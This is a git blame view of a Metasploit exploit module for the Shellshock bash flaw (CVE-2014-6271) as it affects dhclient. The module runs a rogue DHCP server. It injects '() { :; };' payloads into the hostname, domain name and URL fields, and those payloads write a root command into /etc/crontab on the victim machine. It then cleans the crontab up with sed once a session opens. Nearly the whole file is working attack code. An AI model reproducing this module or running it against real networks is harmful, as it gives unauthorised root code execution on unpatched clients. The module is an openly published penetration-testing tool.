2014-09-26 06:24:42 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2014-09-26 06:24:42 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
require 'rex/proto/dhcp'
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
2014-09-26 06:24:42 +00:00
|
|
|
Rank = ExcellentRanking
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::DHCPServer
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
2015-12-01 16:40:46 +00:00
|
|
|
'Name' => 'Dhclient Bash Environment Variable Injection (Shellshock)',
|
2014-09-26 06:24:42 +00:00
|
|
|
'Description' => %q|
|
2015-12-01 16:40:46 +00:00
|
|
|
This module exploits the Shellshock vulnerability, a flaw in how the Bash shell
|
|
|
|
handles external environment variables. This module targets dhclient by responding
|
|
|
|
to DHCP requests with a malicious hostname, domainname, and URL which are then
|
|
|
|
passed to the configuration scripts as environment variables, resulting in code
|
|
|
|
execution. Due to length restrictions and the unusual networking scenario at the
|
|
|
|
time of exploitation, this module achieves code execution by writing the payload
|
|
|
|
into /etc/crontab and then cleaning it up after a session is created.
|
2014-09-26 06:24:42 +00:00
|
|
|
|,
|
2014-09-26 18:45:09 +00:00
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'Stephane Chazelas', # Vulnerability discovery
|
|
|
|
'egypt' # Metasploit module
|
|
|
|
],
|
2014-09-26 06:24:42 +00:00
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Platform' => ['unix'],
|
|
|
|
'Arch' => ARCH_CMD,
|
|
|
|
'References' =>
|
|
|
|
[
|
2014-09-30 02:31:31 +00:00
|
|
|
['CVE', '2014-6271'],
|
2015-12-01 16:40:46 +00:00
|
|
|
['CWE', '94'],
|
2016-07-15 17:00:31 +00:00
|
|
|
['OSVDB', '112004'],
|
2015-12-01 16:40:46 +00:00
|
|
|
['EDB', '34765'],
|
|
|
|
['URL', 'https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/'],
|
|
|
|
['URL', 'http://seclists.org/oss-sec/2014/q3/649'],
|
|
|
|
['URL', 'https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/']
|
2014-09-26 06:24:42 +00:00
|
|
|
],
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
# 255 for a domain name, minus some room for encoding
|
|
|
|
'Space' => 200,
|
|
|
|
'DisableNops' => true,
|
|
|
|
'Compat' =>
|
|
|
|
{
|
|
|
|
'PayloadType' => 'cmd',
|
2015-08-10 22:12:59 +00:00
|
|
|
'RequiredCmd' => 'generic telnet ruby',
|
2014-09-26 06:24:42 +00:00
|
|
|
}
|
|
|
|
},
|
|
|
|
'Targets' => [ [ 'Automatic Target', { }] ],
|
|
|
|
'DefaultTarget' => 0,
|
|
|
|
'DisclosureDate' => 'Sep 24 2014'
|
|
|
|
))
|
|
|
|
|
2014-09-26 15:15:46 +00:00
|
|
|
deregister_options('DOMAINNAME', 'HOSTNAME', 'URL')
|
2014-09-26 06:24:42 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def on_new_session(session)
|
|
|
|
print_status "Cleaning up crontab"
|
|
|
|
# XXX this will brick a server some day
|
|
|
|
session.shell_command_token("sed -i '/^\\* \\* \\* \\* \\* root/d' /etc/crontab")
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
hash = datastore.copy
|
|
|
|
# Quotes seem to be completely stripped, so other characters have to be
|
|
|
|
# escaped
|
|
|
|
p = payload.encoded.gsub(/([<>()|'&;$])/) { |s| Rex::Text.to_hex(s) }
|
|
|
|
echo = "echo -e #{(Rex::Text.to_hex("*") + " ") * 5}root #{p}>>/etc/crontab"
|
|
|
|
hash['DOMAINNAME'] = "() { :; };#{echo}"
|
|
|
|
if hash['DOMAINNAME'].length > 255
|
|
|
|
raise ArgumentError, 'payload too long'
|
|
|
|
end
|
2014-09-26 15:13:24 +00:00
|
|
|
|
|
|
|
hash['HOSTNAME'] = "() { :; };#{echo}"
|
|
|
|
hash['URL'] = "() { :; };#{echo}"
|
2014-09-26 06:24:42 +00:00
|
|
|
start_service(hash)
|
|
|
|
|
|
|
|
begin
|
|
|
|
while @dhcp.thread.alive?
|
|
|
|
sleep 2
|
|
|
|
end
|
|
|
|
ensure
|
|
|
|
stop_service
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|